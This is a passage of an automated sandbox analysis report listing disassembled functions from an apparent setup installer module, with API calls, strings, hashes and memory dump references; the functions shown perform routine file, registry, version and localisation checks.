                    • Instruction ID: 250a882b283c9c1a3684f111cc4c51356bc5c770cdc80cf650d2c656ff5504b0
                    • Opcode Fuzzy Hash: 0738c9c05a61cf159db7ee9494e7eaa3b3d3a9eb29bccd8066c8899b9c99b04c
                    • Instruction Fuzzy Hash: 46514B711083C59FC710DF64C884A9FBBE8BF89358F441A2EF1A497A90DB35D6498B63
                    Function 6CBB4E70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 141fileCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB4E77
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB85FCE: __EH_prolog3.LIBCMT ref: 6CB85FD5
                      • Part of subcall function 6CB85FCE: PathIsRelativeW.SHLWAPI(?,?,?,?,?,ParameterInfo.xml,?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CB86018
                    • __CxxThrowException@8.LIBCMT ref: 6CBB4F68
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • ReadFile.KERNEL32(?,?,00000002,?,00000000,?,80000000,00000001,00000003,00000080,00000000,?,?,?,?,0000002C), ref: 6CBB4F7E
                    • CloseHandle.KERNEL32(?), ref: 6CBB4FA1
                      • Part of subcall function 6CB88329: __EH_prolog3.LIBCMT ref: 6CB88330
                      • Part of subcall function 6CB8A3BC: __EH_prolog3.LIBCMT ref: 6CB8A3C3
                    Strings
                    • ParameterInfo.xml, xrefs: 6CBB4FE5
                    • File %s could not be opened for read, xrefs: 6CBB4F0F
                    • File %s is not UTF-16 with Byte Order Marks (BOM), xrefs: 6CBB4FCC
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CloseDispatcherExceptionException@8FileHandlePathReadRelativeThrowUser
                    • String ID: File %s could not be opened for read$File %s is not UTF-16 with Byte Order Marks (BOM)$ParameterInfo.xml
                    • API String ID: 682709548-652212332
                    • Opcode ID: 8cf422bd4b4830e56b118c5c2bf2ca89eff3f4f0852080132f634f4902b45c8b
                    • Instruction ID: 5e2fcd9271806f20ece561ad63490bfefb8c74aa29b21ec079d1691a36ba62a4
                    • Opcode Fuzzy Hash: 8cf422bd4b4830e56b118c5c2bf2ca89eff3f4f0852080132f634f4902b45c8b
                    • Instruction Fuzzy Hash: B2514C71900289EFCF01DFE8C944AEEBBB9AF04318F14855AF555B7691DB319A08CB62
                    Function 6CB954B1 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 125COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB954B8
                    • __CxxThrowException@8.LIBCMT ref: 6CB95540
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    Strings
                    • W, xrefs: 6CB95530
                    • \LocalizedData.xml: should have atleast one 'Language' child element!, xrefs: 6CB95599
                    • ParameterInfo.xml, xrefs: 6CB95565
                    • Unable to find Language element for LangID="%d" in localized data, xrefs: 6CB9551A
                    • Schema validation failure in file , xrefs: 6CB95575
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: ParameterInfo.xml$Schema validation failure in file $Unable to find Language element for LangID="%d" in localized data$W$\LocalizedData.xml: should have atleast one 'Language' child element!
                    • API String ID: 2489616738-3464115581
                    • Opcode ID: c8b151444bf97e99ededbaf65cf13b813d69f7430f6e382d0f528ea85ce38a5b
                    • Instruction ID: 8325fab49226b4264d75b39bc2a20841f09a243b9e12f3e54376c0edad9c3012
                    • Opcode Fuzzy Hash: c8b151444bf97e99ededbaf65cf13b813d69f7430f6e382d0f528ea85ce38a5b
                    • Instruction Fuzzy Hash: D1415E71901189EBDF00CBE8C944BEDB7B9AF09318F244269F115EB781DB35EA09CB65
                    Function 6CBB7F6A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBB7F74
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • _memset.LIBCMT ref: 6CBB7FD4
                    • GetVersionExW.KERNEL32 ref: 6CBB7FED
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3H_prolog3_Version_memset
                    • String ID: Could not determine OS version$OS Description = %s$OS Version = %d.%d.%d, Platform %d$OS Version Information
                    • API String ID: 3727276431-2914782974
                    • Opcode ID: db9ed3dff087a657c9350a31a287b04d4b633f3c9bd6d3debcb235937dcf2ecf
                    • Instruction ID: daf3d17de24f76e482c5442b44041859a6771dcea1657770c1a238b5586f772e
                    • Opcode Fuzzy Hash: db9ed3dff087a657c9350a31a287b04d4b633f3c9bd6d3debcb235937dcf2ecf
                    • Instruction Fuzzy Hash: 48418E319001999BCB20DBA8CC55FDDB7B8AF09308F0444D5E649E7A91DB71EB88CFA1
                    Function 6CB895C1 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107memoryCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB895C8
                    • VariantInit.OLEAUT32(?), ref: 6CB895DB
                    • VariantClear.OLEAUT32(00000008), ref: 6CB8962E
                    • SysFreeString.OLEAUT32(?), ref: 6CB8960E
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • SysAllocString.OLEAUT32(00000000), ref: 6CB89651
                    • __CxxThrowException@8.LIBCMT ref: 6CB896F8
                    Strings
                    • schema validation error: attribute not found - , xrefs: 6CB89676
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3StringVariant$AllocClearException@8FreeInitThrow
                    • String ID: schema validation error: attribute not found -
                    • API String ID: 8365360-3489740836
                    • Opcode ID: dccbbb3cf970623f0af8083c5abee84ba792ccf141e0be5f5319a180f69ce821
                    • Instruction ID: 10bee9f32a442174ab59da730cc62db808e003384766215ad9828b9e1bf777c2
                    • Opcode Fuzzy Hash: dccbbb3cf970623f0af8083c5abee84ba792ccf141e0be5f5319a180f69ce821
                    • Instruction Fuzzy Hash: C4415D71801289EFCF01DFA4C884AEE7BB9BF05318F144669F521A7681DB35DA48CB61
                    Function 6CBC374B Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 99COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC3752
                      • Part of subcall function 6CB85D3F: __EH_prolog3.LIBCMT ref: 6CB85D46
                      • Part of subcall function 6CB85D3F: GetModuleFileNameW.KERNEL32(6CB60000,00000010,00000104,?,6CBB831D,00000000), ref: 6CB85D93
                      • Part of subcall function 6CB8C259: __EH_prolog3.LIBCMT ref: 6CB8C260
                      • Part of subcall function 6CBB8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6CBC99FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6CBB8E6E
                    • PathFileExistsW.SHLWAPI(?,SetupResources.dll,00000000,00000738,00000000,6CBBFA6E,0000000C,6CBC3A05,?,6CB7A794,?), ref: 6CBC37B7
                    • PathFileExistsW.SHLWAPI(00000000,LocalizedData.xml,00000000,00000738,00000000), ref: 6CBC3846
                      • Part of subcall function 6CB839AD: __EH_prolog3.LIBCMT ref: 6CB839B4
                    Strings
                    • LocalizedData.xml missing from %d directory, xrefs: 6CBC384D
                    • SetupResources.dll, xrefs: 6CBC37A0
                    • LocalizedData.xml, xrefs: 6CBC3835
                    • SetupResources.dll missing from %d directory, xrefs: 6CBC37BE
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$FilePath$Exists$AppendModuleName
                    • String ID: LocalizedData.xml$LocalizedData.xml missing from %d directory$SetupResources.dll$SetupResources.dll missing from %d directory
                    • API String ID: 3590062302-1245617268
                    • Opcode ID: 1b72e516eebba8926ee6c4edfbc65a0836041538e60718a10414517fc5ba8585
                    • Instruction ID: ba03e7c69ee8e94f2de34d7ae00585e0a7b0843855743958df96f1faf107f811
                    • Opcode Fuzzy Hash: 1b72e516eebba8926ee6c4edfbc65a0836041538e60718a10414517fc5ba8585
                    • Instruction Fuzzy Hash: DF315271900189EFDF10DBB8CC45BEE77B4AF11328F144652E524EB795D731EA088BA6
                    Function 6CBC101A Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 94COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC1021
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8C406: RegOpenKeyExW.KERNEL32(80000002,?,00000000,00000001,?,?,?,?,?,6CBC35F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6CB8C426
                      • Part of subcall function 6CB8C406: RegQueryValueExW.KERNEL32(?,?,00000000,00000000,6CBC0F4A,00000004,?,?,?,6CBC35F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6CB8C43F
                      • Part of subcall function 6CB8C406: RegCloseKey.ADVAPI32(?,?,?,?,6CBC35F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType,?,-00000960,00000004,6CBC0F4A,?), ref: 6CB8C44E
                    • GetLastError.KERNEL32(?,Software\Microsoft\DevDiv,?,?,PerfLab,?,?,0000000C,6CBBA58E,?,6CB7A794,?,-00000960,?,00000000,?), ref: 6CBC1092
                    • GetLastError.KERNEL32(?,00000000,?,Failed to record IsInternal,?,Software\Microsoft\DevDiv,?,?,PerfLab,?,?,0000000C,6CBBA58E,?,6CB7A794,?), ref: 6CBC10F0
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorH_prolog3Last$CloseOpenQueryValue
                    • String ID: Failed to record IsAdmin$Failed to record IsInternal$PerfLab$Software\Microsoft\DevDiv
                    • API String ID: 716194244-1174128248
                    • Opcode ID: ecd8fb021a882367c334cd5fc659e335968b82024f1e8a30a6912d2a40f9f47d
                    • Instruction ID: 9f5eb68152e1f56f81775ecb0d43b0a531114ebccd64527686744262811e422e
                    • Opcode Fuzzy Hash: ecd8fb021a882367c334cd5fc659e335968b82024f1e8a30a6912d2a40f9f47d
                    • Instruction Fuzzy Hash: 1731A171B40285AFDB10CBA5CD05ABEBABDFF45358B140619E421F7B80C735DA09DBA2
                    Function 6CB876AC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB876B3
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • GetModuleFileNameW.KERNEL32(00000000,00000010,00000104), ref: 6CB87711
                    • GetFileVersionInfoSizeW.KERNELBASE(00000010,?), ref: 6CB8772A
                    • GetFileVersionInfoW.KERNELBASE(00000010,?,00000000,00000000), ref: 6CB87745
                    • VerQueryValueW.VERSION(00000000,6CB6496C,?,?), ref: 6CB8775D
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: File$H_prolog3InfoVersion$ModuleNameQuerySizeValue
                    • String ID: %d.%d.%d.%d$0.0.0.0
                    • API String ID: 1538924429-464342551
                    • Opcode ID: 0c0bc45575a0be4d90c980b0cb3879b8e0a96e8e135af0e47b00ee843994e2eb
                    • Instruction ID: e7c637596c7503cad14f5f6b0a2c67a6f5d3d9e1c973a41134fb5913792ed713
                    • Opcode Fuzzy Hash: 0c0bc45575a0be4d90c980b0cb3879b8e0a96e8e135af0e47b00ee843994e2eb
                    • Instruction Fuzzy Hash: 81319C71A01259ABDF00DFA5CC84CBEB7B9FF44358B01452AF452A7681DB71AA06CBA0
                    Function 6CBB7E78 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 76COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB7E7F
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8380: __EH_prolog3.LIBCMT ref: 6CBB8387
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: AlwaysUploaded$Disabled$Unknown$User Experience Data Collection Policy$User Experience Data Collection Policy: %s$UserControlled
                    • API String ID: 431132790-3357067047
                    • Opcode ID: fd46dfb7d46f1cec003ac927c85b9e4ad1c0934331306599cd08c368cfea9969
                    • Instruction ID: f3ae4c72de358bebaa23cb6fbf17df06f014eec7670fa67e29594331d46d429f
                    • Opcode Fuzzy Hash: fd46dfb7d46f1cec003ac927c85b9e4ad1c0934331306599cd08c368cfea9969
                    • Instruction Fuzzy Hash: 9D214D719001899BCF00DBE8C945AEEBBB8AF04218F144456E554F7B81DB71EA09CBB6
                    Function 6CBCACD8 Relevance: 12.1, APIs: 8, Instructions: 93COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBCACDF
                    • GetTokenInformation.KERNELBASE(00000002,00000001(TokenIntegrityLevel),00000000,00000000,00000009,0000000C,6CBB49C0,6CB7A5D8,6CB7A54C), ref: 6CBCAD06
                    • GetLastError.KERNEL32 ref: 6CBCAD08
                    • GetTokenInformation.KERNELBASE(00000002,00000001(TokenIntegrityLevel),00000008,00000400,00000400,80070216), ref: 6CBCAD81
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: InformationToken$ErrorH_prolog3_Last
                    • String ID:
                    • API String ID: 654496852-0
                    • Opcode ID: 3eac758f5620e25eda50b4b875a3a9660e7ec786697ee296c6c116e815d7e438
                    • Instruction ID: b6d2ac90a9db0947b266c6ff673535295052379e95350bcd36889f30e193b3ce
                    • Opcode Fuzzy Hash: 3eac758f5620e25eda50b4b875a3a9660e7ec786697ee296c6c116e815d7e438
                    • Instruction Fuzzy Hash: 76312232A401A59BCF118F68CC419DE77B8EF05B69B254411E900BBA90CB30DE41CFE3
                    Function 6CB95E2B Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 169COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB85D3F: __EH_prolog3.LIBCMT ref: 6CB85D46
                      • Part of subcall function 6CB85D3F: GetModuleFileNameW.KERNEL32(6CB60000,00000010,00000104,?,6CBB831D,00000000), ref: 6CB85D93
                      • Part of subcall function 6CB95B82: __EH_prolog3_GS.LIBCMT ref: 6CB95B8C
                      • Part of subcall function 6CB95B82: _memset.LIBCMT ref: 6CB95BBB
                      • Part of subcall function 6CB95B82: FindFirstFileW.KERNEL32(?,?,????), ref: 6CB95BDA
                      • Part of subcall function 6CB95B82: FindClose.KERNEL32(?), ref: 6CB95CC1
                    • __CxxThrowException@8.LIBCMT ref: 6CB95FF0
                      • Part of subcall function 6CBD8EAB: _memcpy_s.LIBCMT ref: 6CBD8EFC
                      • Part of subcall function 6CBB8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6CBC99FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6CBB8E6E
                    • PathFileExistsW.SHLWAPI(?,LocalizedData.xml,?,?,?,564FE71B,ParameterInfo.xml,00000000,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6CB95EF1
                      • Part of subcall function 6CB95CE1: __EH_prolog3.LIBCMT ref: 6CB95CE8
                      • Part of subcall function 6CB95CE1: CoInitialize.OLE32(00000000), ref: 6CB95D1A
                      • Part of subcall function 6CB95CE1: CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,?,?,?,00000014,6CB95F14,?,?,?,?,564FE71B,ParameterInfo.xml,00000000), ref: 6CB95D38
                      • Part of subcall function 6CB95CE1: CoUninitialize.COMBASE(?,?,00000014,6CB95F14,?,?,?,?,564FE71B,ParameterInfo.xml,00000000,?,ParameterInfo.xml,?,00000000,?), ref: 6CB95DE8
                      • Part of subcall function 6CB95CE1: SysFreeString.OLEAUT32(00000738), ref: 6CB95DF1
                    Strings
                    • LocalizedData.xml in resource folder %s, does not have a Language element, xrefs: 6CB95F87
                    • ParameterInfo.xml, xrefs: 6CB95E45, 6CB95FA2
                    • LocalizedData.xml is missing in resource folder %s. Every resource folder needs a LocalizedData.xml, xrefs: 6CB96026
                    • LocalizedData.xml, xrefs: 6CB95EDF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: File$FindH_prolog3Path$AppendCloseCreateException@8ExistsFirstFreeH_prolog3_InitializeInstanceModuleNameStringThrowUninitialize_memcpy_s_memset
                    • String ID: LocalizedData.xml$LocalizedData.xml in resource folder %s, does not have a Language element$LocalizedData.xml is missing in resource folder %s. Every resource folder needs a LocalizedData.xml$ParameterInfo.xml
                    • API String ID: 2922719316-412676173
                    • Opcode ID: 01a09cac51c01f34a01e28f68e9359a7ae613e1b7fce4bfc15b50204d517d51c
                    • Instruction ID: 83b59cf1f9458d6e3000398d7ae83b93141e4eaec6aa5cedf4911695880d214a
                    • Opcode Fuzzy Hash: 01a09cac51c01f34a01e28f68e9359a7ae613e1b7fce4bfc15b50204d517d51c
                    • Instruction Fuzzy Hash: 4C614B715083C59FC700DF68C844A9EB7E8BF85328F050A6DF4A597A51DB71E50D8B93
                    Function 6CBC401F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98threadCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC4026
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • GetThreadLocale.KERNEL32(?,DHTMLHeader.html), ref: 6CBC4041
                    • GetModuleFileNameW.KERNEL32(6CB60000,00000010,00000104), ref: 6CBC40B3
                    • PathFileExistsW.SHLWAPI(?,00000014,00000000), ref: 6CBC4101
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: FileH_prolog3$ExistsLocaleModuleNamePathThread
                    • String ID: %04d\%s$DHTMLHeader.html
                    • API String ID: 3575165106-1224721414
                    • Opcode ID: 48a48952f49deb26078037ebc58807a8bc123d2e88fdfdd6ab494f5e94d1aee2
                    • Instruction ID: 772055a990b740a77880259842449b8247c571efc246b927691373189c739592
                    • Opcode Fuzzy Hash: 48a48952f49deb26078037ebc58807a8bc123d2e88fdfdd6ab494f5e94d1aee2
                    • Instruction Fuzzy Hash: E9414C71A0019A9FCF00DFA4C884AEEBBB4BF05359F050969E551B7791DB31AA09CBA1
                    Function 6CB85485 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8548C
                    • GetModuleHandleW.KERNEL32(kernel32.dll,0000002C,6CB87DAF,?,?,?,?,?,00000000,?,?,6CB7AB18,00000008,6CB87CD9), ref: 6CB8549C
                    • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 6CB854B9
                    • GetNativeSystemInfo.KERNEL32(?), ref: 6CB854E0
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$AddressHandleInfoModuleNativeProcSystem
                    • String ID: GetNativeSystemInfo$kernel32.dll
                    • API String ID: 2427612476-192647395
                    • Opcode ID: 1d93a7c3d4ddfdb519d74df79e3f4f83ebcc424a7627f846c5eb81fb947b494c
                    • Instruction ID: 146d1ca83fb62c41d1ba1f8c6d04d087e209af17af6be2619b3a5715bafef761
                    • Opcode Fuzzy Hash: 1d93a7c3d4ddfdb519d74df79e3f4f83ebcc424a7627f846c5eb81fb947b494c
                    • Instruction Fuzzy Hash: F1F02431B11289ABEB00DBA1C904BEE3276BF4071AF148410F002F7F80DB78C60D8BA6
                    Function 6CBBF8D1 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 6CBBF8D8
                    • GetCommandLineW.KERNEL32(00000044,6CBB8323,00000000), ref: 6CBBF8EA
                      • Part of subcall function 6CB83E77: __EH_prolog3.LIBCMT ref: 6CB83E7E
                    • __time64.LIBCMT ref: 6CBBFA7B
